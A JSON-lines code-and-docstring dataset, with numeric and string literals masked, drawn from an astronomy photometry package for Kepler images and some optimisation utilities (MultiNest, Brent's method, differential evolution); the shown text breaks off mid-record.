{"signature": "def find_other_sources(self,  edge_lim = <NUM_LIT>, min_val = <NUM_LIT>, <EOL>ntargets = <NUM_LIT>, extend_region_size=<NUM_LIT:3>, remove_excess=<NUM_LIT:4>,<EOL>plot_flag = False, plot_window=<NUM_LIT:15>):", "body": "j,i = self.center<EOL>region = self.integrated_postcard + <NUM_LIT:0.0><EOL>if plot_flag == True:<EOL><INDENT>ff = plt.imshow(self.integrated_postcard, interpolation='<STR_LIT>', cmap='<STR_LIT>', <EOL>vmax = np.percentile(region, <NUM_LIT>))<EOL>plt.colorbar(ff)<EOL>plt.show()<EOL><DEDENT>targets = np.zeros_like(self.integrated_postcard)<EOL>sizeimg = np.shape(targets)[<NUM_LIT:0>]<EOL>jj = j + <NUM_LIT:0><EOL>ii = i + <NUM_LIT:0><EOL>edge = edge_lim<EOL>lim = max(min_val, self.integrated_postcard[int(j), int(i)]*edge)<EOL>maxpt = np.percentile(self.integrated_postcard, <NUM_LIT>)<EOL>bin_img = (region > lim)<EOL>lab_img, n_features = label(bin_img)<EOL>key_targ = (lab_img == (lab_img[int(j), int(i)]))<EOL>tot = np.sum(key_targ)<EOL>targets[key_targ] = <NUM_LIT:1><EOL>region[key_targ] = <NUM_LIT:0.0><EOL>lim = np.zeros(ntargets)<EOL>for peaks in range(<NUM_LIT:1>,ntargets):<EOL><INDENT>k = np.argmax(region)<EOL>j,i = np.unravel_index(k, region.shape)<EOL>lim[peaks] = max(maxpt, edge*region[j,i])<EOL>bin_img = (region >= lim[peaks])<EOL>lab_img, n_features = label(bin_img)<EOL>key_targ = (lab_img == (lab_img[j,i]))<EOL>targets[key_targ] = peaks + <NUM_LIT:1><EOL>region[key_targ] = <NUM_LIT:0.0><EOL><DEDENT>lab_img, n_features = label(targets)<EOL>for i in range(<NUM_LIT:1>, ntargets+<NUM_LIT:1>):<EOL><INDENT>for j in range(extend_region_size):<EOL><INDENT>border= mh.labeled.border(targets, <NUM_LIT:0>, i)<EOL>targets[border*(region < (<NUM_LIT:10>)*lim[peaks])] = i<EOL><DEDENT><DEDENT>for i in range(<NUM_LIT:2>, ntargets+<NUM_LIT:1>):<EOL><INDENT>for j in range(<NUM_LIT:2>, ntargets+<NUM_LIT:1>):<EOL><INDENT>if i != j:<EOL><INDENT>border = mh.labeled.border(targets, i, j)<EOL>if np.sum(border) != <NUM_LIT:0>:<EOL><INDENT>targets[targets == j] = i<EOL><DEDENT><DEDENT><DEDENT><DEDENT>targets = mh.labeled.remove_bordering(targets)<EOL>for k in range(remove_excess):<EOL><INDENT>for i in range(ntargets):<EOL><INDENT>if np.sum(self.integrated_postcard[targets == i]) < <NUM_LIT>:<EOL><INDENT>targets[targets > i] -= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>self.targets = targets<EOL>if plot_flag == True:<EOL><INDENT>plt.imshow(self.targets, interpolation='<STR_LIT>')<EOL>plt.show()<EOL>plt.imshow(((targets == <NUM_LIT:1>)*self.integrated_postcard + (targets == <NUM_LIT:1>)*<NUM_LIT>)<EOL>[jj-plot_window:jj+plot_window,ii-plot_window:ii+plot_window], <EOL>interpolation='<STR_LIT>', cmap='<STR_LIT>', vmax=np.percentile(self.integrated_postcard, <NUM_LIT>))<EOL>plt.show()<EOL>plt.imshow((np.ceil(targets/<NUM_LIT>)*self.integrated_postcard+np.ceil(targets/<NUM_LIT>)*<NUM_LIT>), <EOL>interpolation='<STR_LIT>', cmap='<STR_LIT>', vmax=np.percentile(self.integrated_postcard, <NUM_LIT>))<EOL>plt.show()<EOL><DEDENT>", "docstring": "Identify apertures for all sources on the postcard, both for the \ntarget and potential reference stars\n\nArgs: \n    edge_lim: The initial limit for the creation of apertures. The aperture will be a region of\n        contiguous pixels with flux values larger than the product of ``edge_lim`` and the brightest\n        pixel value for this star, as long as that product is larger than ``min_val`` (default: ``0.015``)\n    min_val: Threshold for the minimum flux value in the ``integrated_postcard`` for a pixel to be included \n        in the default apertures (default: ``5000``)\n    ntargets: The maximum number of potential reference stars to be included in the analysis (default: ``250``)\n    extend_region_size: After the initial apertures are generated, they will be optionally extended an\n        additional number of pixels following this flag. Safe practice for reasonable apertures is to \n        leave ``min_val`` at a value well above the noise and then extend apertures via this flag until \n        they are of suitable size (default: ``3``)\n    remove_excess: Stars with apertures that touch will be combined into a single aperture. \n        This is done by iterating through the starlist; this flag represents the number of times the\n        list will be iterated through to delete redundant apertures (default: ``4``)\n    plot_flag: If true, a series of diagnostic plots will appear while this function runs to observe\n        apertures for the target star and other stars.\n        (default: ``False``)\n    plot_window: If ``plot_flag`` is ``True``, the size of the region to be plotted around the target star\n        to show the drawn aperture for visualization purposes only (default: ``15``)", "id": "f14117:c0:m5"}
{"signature": "def do_photometry(self):", "body": "std_f = np.zeros(<NUM_LIT:4>)<EOL>data_save = np.zeros_like(self.postcard)<EOL>self.obs_flux = np.zeros_like(self.reference_flux)<EOL>for i in range(<NUM_LIT:4>):<EOL><INDENT>g = np.where(self.qs == i)[<NUM_LIT:0>]<EOL>wh = np.where(self.times[g] > <NUM_LIT>)<EOL>data_save[g] = np.roll(self.postcard[g], int(self.roll_best[i,<NUM_LIT:0>]), axis=<NUM_LIT:1>)<EOL>data_save[g] = np.roll(data_save[g], int(self.roll_best[i,<NUM_LIT:1>]), axis=<NUM_LIT:2>)<EOL>self.target_flux_pixels = data_save[:,self.targets == <NUM_LIT:1>]<EOL>self.target_flux = np.sum(self.target_flux_pixels, axis=<NUM_LIT:1>)<EOL>self.obs_flux[g] = self.target_flux[g] / self.reference_flux[g]<EOL>self.obs_flux[g] /= np.median(self.obs_flux[g[wh]])<EOL>fitline = np.polyfit(self.times[g][wh], self.obs_flux[g][wh], <NUM_LIT:1>)<EOL>std_f[i] = np.max([np.std(self.obs_flux[g][wh]/(fitline[<NUM_LIT:0>]*self.times[g][wh]+fitline[<NUM_LIT:1>])), <NUM_LIT>])<EOL><DEDENT>self.flux_uncert = std_f<EOL>", "docstring": "Does photometry and estimates uncertainties by calculating the scatter around a linear fit to the data\nin each orientation. This function is called by other functions and generally the user will not need\nto interact with it directly.", "id": "f14117:c0:m6"}
{"signature": "def generate_panel(self, img):", "body": "plt.figure(figsize=(<NUM_LIT>,<NUM_LIT:6>))<EOL>ax = plt.gca()<EOL>fig = plt.gcf()<EOL>plt.subplot(<NUM_LIT>)<EOL>data_save = np.zeros_like(self.postcard)<EOL>self.roll_best = np.zeros((<NUM_LIT:4>,<NUM_LIT:2>))<EOL>for i in range(<NUM_LIT:4>):<EOL><INDENT>g = np.where(self.qs == i)[<NUM_LIT:0>]<EOL>wh = np.where(self.times[g] > <NUM_LIT>)<EOL>self.roll_best[i] = self.do_rolltest(g, wh)<EOL><DEDENT>self.do_photometry()<EOL>for i in range(<NUM_LIT:4>):<EOL><INDENT>g = np.where(self.qs == i)[<NUM_LIT:0>]<EOL>plt.errorbar(self.times[g], self.obs_flux[g], yerr=self.flux_uncert[i], fmt=fmt[i])<EOL><DEDENT>plt.xlabel('<STR_LIT>', fontsize=<NUM_LIT:20>)<EOL>plt.ylabel('<STR_LIT>', fontsize=<NUM_LIT:20>)<EOL>plt.subplot(<NUM_LIT>)<EOL>implot = plt.imshow(img, interpolation='<STR_LIT>', cmap='<STR_LIT>', vmin=<NUM_LIT>*<NUM_LIT>, vmax=<NUM_LIT>*<NUM_LIT>)<EOL>cid = fig.canvas.mpl_connect('<STR_LIT>', self.onclick)<EOL>plt.show(block=True)<EOL>", "docstring": "Creates the figure shown in ``adjust_aperture`` for visualization purposes. Called by other functions\nand generally not called by the user directly.\n\nArgs: \n    img: The data frame to be passed through to be plotted. A cutout of the ``integrated_postcard``", "id": "f14117:c0:m7"}
{"signature": "def adjust_aperture(self, image_region=<NUM_LIT:15>, ignore_bright=<NUM_LIT:0>):", "body": "self.ignore_bright = ignore_bright<EOL>self.calc_fluxes()<EOL>self.coordsx = []<EOL>self.coordsy = []<EOL>jj, ii = self.center<EOL>jj, ii = int(jj), int(ii)  <EOL>plt.ion()<EOL>img = np.sum(((self.targets == <NUM_LIT:1>)*self.postcard + (self.targets == <NUM_LIT:1>)*<NUM_LIT>)<EOL>[:,jj-image_region:jj+image_region,ii-image_region:ii+image_region], axis=<NUM_LIT:0>)<EOL>self.generate_panel(img)<EOL>while len(self.coordsx) != <NUM_LIT:0>:<EOL><INDENT>for i in range(len(self.coordsx)):<EOL><INDENT>if self.targets[self.coordsy[i]+jj-image_region,self.coordsx[i]+ii-image_region] != <NUM_LIT:1>:<EOL><INDENT>self.targets[self.coordsy[i]+jj-image_region,self.coordsx[i]+ii-image_region] = <NUM_LIT:1><EOL><DEDENT>elif self.targets[self.coordsy[i]+jj-image_region,self.coordsx[i]+ii-image_region] == <NUM_LIT:1>:<EOL><INDENT>self.targets[self.coordsy[i]+jj-image_region,self.coordsx[i]+ii-image_region] = <NUM_LIT:0><EOL><DEDENT>if self.coordsy[i] == <NUM_LIT:0>:<EOL><INDENT>thiscol = np.where(self.targets[:,self.coordsx[i]+ii-image_region] == <NUM_LIT:1>)<EOL>self.targets[thiscol,self.coordsx[i]+ii-image_region] = <NUM_LIT:0><EOL><DEDENT>if self.coordsx[i] == <NUM_LIT:0>:<EOL><INDENT>thiscol = np.where(self.targets[self.coordsy[i]+jj-image_region,:] == <NUM_LIT:1>)<EOL>self.targets[self.coordsy[i]+jj-image_region, thiscol] = <NUM_LIT:0><EOL><DEDENT><DEDENT>self.coordsx = []<EOL>self.coordsy = []<EOL>img = np.sum(((self.targets == <NUM_LIT:1>)*self.postcard + <EOL>(self.targets == <NUM_LIT:1>)*<NUM_LIT>)[:,jj-image_region:jj+image_region,ii-image_region:ii+image_region],<EOL>axis=<NUM_LIT:0>)<EOL>self.generate_panel(img)<EOL><DEDENT>", "docstring": "Develop a panel showing the current aperture and the light curve as judged from that aperture.\nClicking on individual pixels on the aperture will toggle those pixels on or off into the\naperture (which will be updated after closing the plot).\nClicking on the 0th row or column will turn off all pixels in that column or row, respectively.\nWill iterate continuously until the figure is closed without updating any pixels.\n\n\nArgs: \n    image_region: The size of the region around the target star to be plotted. Images will be a square \n        with side length ``image_region`` (default: ``15``)\n    ignore_bright: The number of brightest stars to be ignored in the determination of the flux from \n        reference stars. If there is reason to believe (for example) that saturated stars may behave\n        differently than the target star, they can be avoided with this flag (default: ``0``)", "id": "f14117:c0:m8"}
{"signature": "def data_for_target(self, do_roll=True, ignore_bright=<NUM_LIT:0>):", "body": "self.ignore_bright = ignore_bright<EOL>self.calc_fluxes()<EOL>self.roll_best = np.zeros((<NUM_LIT:4>,<NUM_LIT:2>))<EOL>if do_roll == True:<EOL><INDENT>for i in range(<NUM_LIT:4>):<EOL><INDENT>g = np.where(self.qs == i)[<NUM_LIT:0>]<EOL>wh = np.where(self.times[g] > <NUM_LIT>)<EOL>self.roll_best[i] = self.do_rolltest(g, wh)<EOL><DEDENT><DEDENT>self.do_photometry()<EOL>", "docstring": "Determine the normalized photometry, accounting for effects shared by reference stars. Does not provide\nthe opportunity to adjust the aperture\n\nArgs: \n    image_region: If ``True`` allow the aperture to be shifted up to one pixel in both the x and y\n        directions to account for differential velocity aberration (default: ``True``)\n    ignore_bright: The number of brightest stars to be ignored in the determination of the flux from \n        reference stars. If there is reason to believe (for example) that saturated stars may behave\n        differently than the target star, they can be avoided with this flag (default: ``0``)", "id": "f14117:c0:m9"}
{"signature": "def calc_fluxes(self, min_flux = <NUM_LIT>, outlier_iterations=<NUM_LIT:5>,<EOL>max_outlier_obs=<NUM_LIT:4>, outlier_limit=<NUM_LIT>):", "body": "jj, ii = self.center<EOL>numer = np.zeros(len(self.times))<EOL>denom = np.zeros(len(self.times))<EOL>factr = np.zeros(len(self.times))<EOL>numer_pix = self.postcard[:,self.targets == <NUM_LIT:1>]<EOL>numer = np.sum(numer_pix, axis=<NUM_LIT:1>)<EOL>tar_vals = np.zeros((len(self.times), int(np.max(self.targets)+<NUM_LIT:1>-<NUM_LIT:2>-self.ignore_bright)))<EOL>for i in range(<NUM_LIT:2>+self.ignore_bright,int(np.max(self.targets)+<NUM_LIT:1>)):<EOL><INDENT>tval = np.sum(self.postcard[:,self.targets == i], axis=<NUM_LIT:1>)<EOL>tar_vals[:,i-<NUM_LIT:2>-self.ignore_bright] = tval <EOL><DEDENT>for i in range(len(self.obs_filenames)):<EOL><INDENT>if np.max(tar_vals[i]) < min_flux:<EOL><INDENT>tar_vals[self.qs == self.qs[i]] = <NUM_LIT:0.0><EOL><DEDENT><DEDENT>all_tar = np.zeros((len(self.times), int(np.max(self.targets)-self.ignore_bright)))<EOL>all_tar[:,<NUM_LIT:0>] = numer<EOL>all_tar[:,<NUM_LIT:1>:] = tar_vals<EOL>self.photometry_array = all_tar<EOL>for i in range(len(tar_vals[<NUM_LIT:0>])):<EOL><INDENT>for j in range(<NUM_LIT:4>):<EOL><INDENT>g = np.where(self.qs == j)[<NUM_LIT:0>]  <EOL>tar_vals[g,i] /= (np.median(tar_vals[g,i])+<NUM_LIT>)<EOL><DEDENT><DEDENT>tar_vals_old = tar_vals + <NUM_LIT:0.0><EOL>for i in range(outlier_iterations):<EOL><INDENT>nonzeros = np.where(tar_vals[<NUM_LIT:0>,:] != <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>med = np.median(tar_vals[:,nonzeros], axis=<NUM_LIT:1>)<EOL>std = np.std(tar_vals[:,nonzeros], axis=<NUM_LIT:1>)<EOL>if np.sum(tar_vals) != <NUM_LIT:0.0>:<EOL><INDENT>tar_vals_old = tar_vals + <NUM_LIT:0.0><EOL><DEDENT>for k in range(len(tar_vals[<NUM_LIT:0>])):<EOL><INDENT>h = np.where((np.abs(med-tar_vals[:,k])/std) > outlier_limit)[<NUM_LIT:0>]<EOL>if len(h) >= max_outlier_obs:<EOL><INDENT>tar_vals[:,k] = <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>if np.sum(tar_vals) == <NUM_LIT:0.0>:<EOL><INDENT>tar_vals = tar_vals_old + <NUM_LIT:0.0><EOL><DEDENT>denom = np.sum(tar_vals, axis=<NUM_LIT:1>)<EOL>self.target_flux_pixels = numer_pix<EOL>self.reference_flux = denom<EOL>", "docstring": "Determine the suitable reference stars, and then the total flux in those stars and \nin the target star in each epoch\n\nArgs: \n    min_flux: The size of the region around the target star to be plotted. Images will be a square \n        with side length ``image_region`` (default: ``5000``)\n    outlier_iterations: The number of iterations to remove outliers from the reference star sample\n        (stars at epochs with more than ``max_outlier_obs`` observations more than ``outlier_limit`` standard\n        deviations from the median value for all stars after normalization) (default: ``5``)\n    max_outlier_obs: The maximum number of epochs at which a star is allowed to be more than ``outlier_limit``\n        standard deviations from the median value for all stars before it is removed as a suitable\n        reference star (default: ``4``)\n    outlier_limit: The level of deviation (measured in standard deviations) which a target is allowed\n        to be discrepant from the median. If it is this discrepant at more than ``max_outlier_obs``\n        epochs, it is removed from consideration (default: ``1.7``)", "id": "f14117:c0:m10"}
{"signature": "def calc_centroids(self):", "body": "self.cm = np.zeros((len(self.postcard), <NUM_LIT:2>))<EOL>for i in range(len(self.postcard)):<EOL><INDENT>target = self.postcard[i]<EOL>target[self.targets != <NUM_LIT:1>] = <NUM_LIT:0.0><EOL>self.cm[i] = center_of_mass(target)<EOL><DEDENT>", "docstring": "Identify the centroid positions for the target star at all epochs. Useful for verifying that there is\nno correlation between flux and position, as might be expected for high proper motion stars.", "id": "f14117:c0:m11"}
{"signature": "def define_spotsignal(self):", "body": "client = kplr.API()<EOL>star = client.star(self.kic)<EOL>lcs = star.get_light_curves(short_cadence=False)<EOL>time, flux, ferr, qual = [], [], [], []<EOL>for lc in lcs:<EOL><INDENT>with lc.open() as f:<EOL><INDENT>hdu_data = f[<NUM_LIT:1>].data<EOL>time.append(hdu_data[\"<STR_LIT:time>\"])<EOL>flux.append(hdu_data[\"<STR_LIT>\"])<EOL>ferr.append(hdu_data[\"<STR_LIT>\"])<EOL>qual.append(hdu_data[\"<STR_LIT>\"])<EOL><DEDENT>tout = np.array([])<EOL>fout = np.array([])<EOL>eout = np.array([])<EOL>for i in range(len(flux)):<EOL><INDENT>t = time[i][qual[i] == <NUM_LIT:0>]<EOL>f = flux[i][qual[i] == <NUM_LIT:0>]<EOL>e = ferr[i][qual[i] == <NUM_LIT:0>]<EOL>t = t[np.isfinite(f)]<EOL>e = e[np.isfinite(f)]<EOL>f = f[np.isfinite(f)]<EOL>e /= np.median(f)<EOL>f /= np.median(f)<EOL>tout = np.append(tout, t[<NUM_LIT:50>:]+<NUM_LIT>)<EOL>fout = np.append(fout, f[<NUM_LIT:50>:])<EOL>eout = np.append(eout, e[<NUM_LIT:50>:])<EOL><DEDENT>self.spot_signal = np.zeros(<NUM_LIT>)<EOL>for i in range(len(self.times)):<EOL><INDENT>if self.times[i] < <NUM_LIT>:<EOL><INDENT>self.spot_signal[i] = <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>self.spot_signal[i] = fout[np.abs(self.times[i] - tout) == np.min(np.abs(self.times[i] - tout))]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Identify the \"expected\" flux value at the time of each observation based on the \nKepler long-cadence data, to ensure variations observed are not the effects of a single\nlarge starspot. Only works if the target star was targeted for long or short cadence\nobservations during the primary mission.", "id": "f14117:c0:m12"}
{"signature": "def model_uncert(self):", "body": "Y = self.photometry_array.T<EOL>Y /= np.median(Y, axis=<NUM_LIT:1>)[:, None]<EOL>C = np.median(Y, axis=<NUM_LIT:0>)<EOL>nstars, nobs = np.shape(Y)<EOL>Z = np.empty((nstars, <NUM_LIT:4>))<EOL>qs = self.qs.astype(int)<EOL>for s in range(<NUM_LIT:4>):<EOL><INDENT>Z[:, s] = np.median((Y / C)[:, qs == s], axis=<NUM_LIT:1>)<EOL><DEDENT>resid2 = (Y - Z[:, qs] * C)**<NUM_LIT:2><EOL>z = Z[:, qs]<EOL>trend = z * C[None, :]<EOL>lnS = np.log(np.nanmedian(resid2, axis=<NUM_LIT:0>))<EOL>jitter = np.log(<NUM_LIT:0.1>*np.nanmedian(np.abs(np.diff(Y, axis=<NUM_LIT:1>))))<EOL>cal_ferr = np.sqrt(np.exp(<NUM_LIT:2>*(jitter/trend))+z**<NUM_LIT:2>*np.exp(lnS)[None, :])<EOL>self.modeled_uncert = cal_ferr<EOL>self.target_uncert = cal_ferr[<NUM_LIT:0>]<EOL>", "docstring": "Estimate the photometric uncertainties on each data point following Equation A.2 of The Paper.\nBased on the kepcal package of Dan Foreman-Mackey.", "id": "f14117:c0:m13"}
{"signature": "def multinest(parameter_names, transform, loglikelihood, output_basename, **problem):", "body": "import numpy<EOL>from numpy import log, exp<EOL>import pymultinest<EOL>parameters = parameter_names<EOL>n_params = len(parameters)<EOL>def myprior(cube, ndim, nparams):<EOL><INDENT>params = transform([cube[i] for i in range(ndim)])<EOL>for i in range(ndim):<EOL><INDENT>cube[i] = params[i]<EOL><DEDENT><DEDENT>def myloglike(cube, ndim, nparams):<EOL><INDENT>l = loglikelihood([cube[i] for i in range(ndim)])<EOL>return l<EOL><DEDENT>mn_args = dict(<EOL>importance_nested_sampling = False, <EOL>outputfiles_basename = output_basename,<EOL>resume = problem.get('<STR_LIT>', False), <EOL>verbose = True,<EOL>n_live_points = problem.get('<STR_LIT>', <NUM_LIT>),<EOL>const_efficiency_mode = False)<EOL>if '<STR_LIT>' in problem:<EOL><INDENT>mn_args['<STR_LIT>'] = problem['<STR_LIT>']<EOL><DEDENT>pymultinest.run(myloglike, myprior, n_params, **mn_args)<EOL>import json<EOL>with file('<STR_LIT>' % output_basename, '<STR_LIT:w>') as f:<EOL><INDENT>json.dump(parameters, f, indent=<NUM_LIT:2>)<EOL><DEDENT>a = pymultinest.Analyzer(n_params = n_params, <EOL>outputfiles_basename = output_basename)<EOL>s = a.get_stats()<EOL>with open('<STR_LIT>' % a.outputfiles_basename, mode='<STR_LIT:w>') as f:<EOL><INDENT>json.dump(s, f, indent=<NUM_LIT:2>)<EOL><DEDENT>chain = a.get_equal_weighted_posterior()[:,:-<NUM_LIT:1>]<EOL>lower = [m['<STR_LIT>'][<NUM_LIT:0>] for m in s['<STR_LIT>']]<EOL>upper = [m['<STR_LIT>'][<NUM_LIT:1>] for m in s['<STR_LIT>']]<EOL>stdev = (numpy.array(upper) - numpy.array(lower)) / <NUM_LIT:2><EOL>center = [m['<STR_LIT>'] for m in s['<STR_LIT>']]<EOL>data = numpy.loadtxt('<STR_LIT>' % output_basename)<EOL>i = data[:,-<NUM_LIT:1>].argmax()<EOL>final = data[i,:-<NUM_LIT:1>] <EOL>return dict(start=final, chain=chain,<EOL>stdev=stdev, upper=upper, lower=lower,<EOL>method='<STR_LIT>')<EOL>", "docstring": "**MultiNest Nested Sampling**\n\nvia `PyMultiNest <http://johannesbuchner.github.com/PyMultiNest/index.html>`_.\n\n:param parameter_names: name of parameters; not directly used here, \n        but for multinest_marginal.py plotting tool.", "id": "f14121:m0"}
{"signature": "def optimize(function, x0, cons=[], ftol=<NUM_LIT>, disp=<NUM_LIT:0>, plot=False):", "body": "if disp > <NUM_LIT:0>:<EOL><INDENT>print()<EOL>print('<STR_LIT>')<EOL>print()<EOL>print('<STR_LIT>', function, '<STR_LIT::>', x0)<EOL><DEDENT>points = []<EOL>values = []<EOL>def recordfunction(x):<EOL><INDENT>v = function(x)<EOL>points.append(x)<EOL>values.append(v)<EOL>return v<EOL><DEDENT>(a, b, c), (va, vb, vc) = seek_minimum_bracket(recordfunction, x0, cons=cons, ftol=ftol, disp=disp, plot=plot)<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>' % len(points), (a, b, c), (va, vb, vc))<EOL><DEDENT>if disp > <NUM_LIT:2>:<EOL><INDENT>if plot:<EOL><INDENT>plot_values(values, points, lastpoint=-<NUM_LIT:1>, ftol=ftol)<EOL><DEDENT>pause()<EOL><DEDENT>result = brent(recordfunction, a, b, c, va, vb, vc, cons=cons, ftol=ftol, disp=disp, plot=plot)<EOL>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL>print('<STR_LIT>' % len(points), result)<EOL><DEDENT>if disp > <NUM_LIT:1> or len(points) > <NUM_LIT:20>:<EOL><INDENT>if plot:<EOL><INDENT>plot_values(values, points, lastpoint=-<NUM_LIT:1>, ftol=ftol)<EOL><DEDENT>if disp > <NUM_LIT:2>:<EOL><INDENT>pause()<EOL><DEDENT><DEDENT>if disp > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL>print()<EOL>print('<STR_LIT>')<EOL>print()<EOL><DEDENT>global neval<EOL>neval += len(points)<EOL>return result<EOL>", "docstring": "**Optimization method based on Brent's method**\n\nFirst, a bracket (a b c) is sought that contains the minimum (b value is \nsmaller than both a or c).\n\nThe bracket is then recursively halfed. Here we apply some modifications\nto ensure our suggested point is not too close to either a or c,\nbecause that could be problematic with the local approximation.\nAlso, if the bracket does not seem to include the minimum,\nit is expanded generously in the right direction until it covers it.\n\nThus, this function is fail safe, and will always find a local minimum.", "id": "f14122:m7"}
{"signature": "def cache2errors(function, cache, disp=<NUM_LIT:0>, ftol=<NUM_LIT>):", "body": "vals = numpy.array(sorted(cache, key=lambda x: x[<NUM_LIT:0>]))<EOL>if disp > <NUM_LIT:0>: print('<STR_LIT>', vals)<EOL>vi = vals[:,<NUM_LIT:1>].min()<EOL>def renormedfunc(x):<EOL><INDENT>y = function(x)<EOL>cache.append([x, y])<EOL>if disp > <NUM_LIT:1>: print('<STR_LIT>', x, y, y - (vi + <NUM_LIT:1>))<EOL>return y - (vi + <NUM_LIT:1>)<EOL><DEDENT>vals[:,<NUM_LIT:1>] -= vi + <NUM_LIT:1><EOL>lowmask = vals[:,<NUM_LIT:1>] < <NUM_LIT:0><EOL>highmask = vals[:,<NUM_LIT:1>] > <NUM_LIT:0><EOL>indices = numpy.arange(len(vals))<EOL>b, vb = vals[indices[lowmask][ <NUM_LIT:0>],:]<EOL>c, vc = vals[indices[lowmask][-<NUM_LIT:1>],:]<EOL>if any(vals[:,<NUM_LIT:0>][highmask] < b):<EOL><INDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>')<EOL>a, va = vals[indices[highmask][vals[:,<NUM_LIT:0>][highmask] < b][-<NUM_LIT:1>],:]<EOL><DEDENT>else:<EOL><INDENT>a = b<EOL>va = vb<EOL>while b > -<NUM_LIT:50>:<EOL><INDENT>a = b - max(vals[-<NUM_LIT:1>,<NUM_LIT:0>] - vals[<NUM_LIT:0>,<NUM_LIT:0>], <NUM_LIT:1>)<EOL>va = renormedfunc(a)<EOL>if disp > <NUM_LIT:0>: print('<STR_LIT>' % (b, vb, a, va))<EOL>if va > <NUM_LIT:0>:<EOL><INDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>')<EOL>break<EOL><DEDENT>else:<EOL><INDENT>b = a<EOL>vb = va<EOL><DEDENT><DEDENT><DEDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>', a, b, va, vb)<EOL>if va > <NUM_LIT:0> and vb < <NUM_LIT:0>:<EOL><INDENT>leftroot = scipy.optimize.brentq(renormedfunc, a, b, rtol=ftol)<EOL><DEDENT>else:<EOL><INDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>')<EOL>leftroot = a<EOL><DEDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>', leftroot)<EOL>if any(vals[:,<NUM_LIT:0>][highmask] > c):<EOL><INDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>')<EOL>d, vd = vals[indices[highmask][vals[:,<NUM_LIT:0>][highmask] > c][ <NUM_LIT:0>],:]<EOL><DEDENT>else:<EOL><INDENT>d = c<EOL>vd = vc<EOL>while c < <NUM_LIT:50>:<EOL><INDENT>d = c + max(vals[-<NUM_LIT:1>,<NUM_LIT:0>] - vals[<NUM_LIT:0>,<NUM_LIT:0>], <NUM_LIT:1>)<EOL>vd = renormedfunc(d)<EOL>if disp > <NUM_LIT:0>: print('<STR_LIT>' % (c, vc, d, vd))<EOL>if vd > <NUM_LIT:0>:<EOL><INDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>')<EOL>break<EOL><DEDENT>else:<EOL><INDENT>c = d<EOL>vc = vd<EOL><DEDENT><DEDENT><DEDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>', c, d, vc, vd)<EOL>if vd > <NUM_LIT:0> and vc < <NUM_LIT:0>:<EOL><INDENT>rightroot = scipy.optimize.brentq(renormedfunc, c, d, rtol=ftol)<EOL><DEDENT>else:<EOL><INDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>')<EOL>rightroot = d<EOL><DEDENT>if disp > <NUM_LIT:0>: print('<STR_LIT>', rightroot)<EOL>assert leftroot < rightroot<EOL>if disp > <NUM_LIT:2>:<EOL><INDENT>fullvals = numpy.array(sorted(cache, key=lambda x: x[<NUM_LIT:0>]))<EOL>fullvals[:,<NUM_LIT:1>] -= vi + <NUM_LIT:1><EOL>plt.figure()<EOL>plt.plot(fullvals[:,<NUM_LIT:0>], fullvals[:,<NUM_LIT:1>], '<STR_LIT:s>')<EOL>plt.plot(vals[:,<NUM_LIT:0>], vals[:,<NUM_LIT:1>], '<STR_LIT:o>')<EOL>plt.xlim(a, d)<EOL>plt.ylim(min(va, vb, vc, vd), max(va, vb, vc, vd))<EOL>ymin, ymax = plt.ylim()<EOL>plt.vlines([leftroot, rightroot], ymin, ymax, linestyles='<STR_LIT>')<EOL>plt.savefig('<STR_LIT>')<EOL><DEDENT>return leftroot, rightroot<EOL>", "docstring": "This function will attempt to identify 1 sigma errors, assuming your\nfunction is a chi^2. For this, the 1-sigma is bracketed.\n\nIf you were smart enough to build a cache list of [x,y] into your function,\nyou can pass it here. The values bracketing 1 sigma will be used as \nstarting values.\nIf no such values exist, e.g. because all values were very close to the \noptimum (good starting values), the bracket is expanded.", "id": "f14122:m8"}
{"signature": "def de(output_basename, parameter_names, transform, loglikelihood, prior, nsteps=<NUM_LIT>, vizfunc=None, printfunc=None, **problem):", "body": "import json<EOL>import inspyred<EOL>import random<EOL>prng = random.Random()<EOL>if '<STR_LIT>' in problem:<EOL><INDENT>prng.seed(problem['<STR_LIT>'])<EOL><DEDENT>n_params = len(parameter_names)<EOL>seeds = problem.get('<STR_LIT>', [])<EOL>if '<STR_LIT:start>' in problem:<EOL><INDENT>seeds.append(problem['<STR_LIT:start>'])<EOL><DEDENT>prefix = output_basename<EOL>def viz(candidate, args):<EOL><INDENT>if vizfunc is not None:<EOL><INDENT>vizfunc(candidate)<EOL><DEDENT><DEDENT>def print_candidate(candidate, l, args):<EOL><INDENT>if printfunc is not None:<EOL><INDENT>printfunc(cube=candidate, loglikelihood=l)<EOL><DEDENT>else:<EOL><INDENT>print(l, candidate)<EOL><DEDENT><DEDENT>def eval_candidate(candidate):<EOL><INDENT>params = transform(candidate)<EOL>l = loglikelihood(params)<EOL>p = prior(params)<EOL>if numpy.isinf(p) and p < <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>')<EOL>return -<NUM_LIT><EOL><DEDENT>if numpy.isnan(l):<EOL><INDENT>return -<NUM_LIT><EOL><DEDENT>return l, p<EOL><DEDENT>@inspyred.ec.utilities.memoize<EOL>@inspyred.ec.evaluators.evaluator<EOL>def fitness(candidate, args):<EOL><INDENT>l, p = eval_candidate(candidate)<EOL>return (l + p)<EOL><DEDENT>cutoff_store = <NUM_LIT:10><EOL>def solution_archiver(random, population, archive, args):<EOL><INDENT>psize = len(population)<EOL>population.sort(reverse=True)<EOL>best = population[<NUM_LIT:0>].fitness<EOL>all_candidates = sorted(population + archive, reverse=True)<EOL>all_fitness = numpy.array([c.fitness for c in all_candidates])<EOL>mask = best - all_fitness > cutoff_store / <NUM_LIT:3><EOL>if 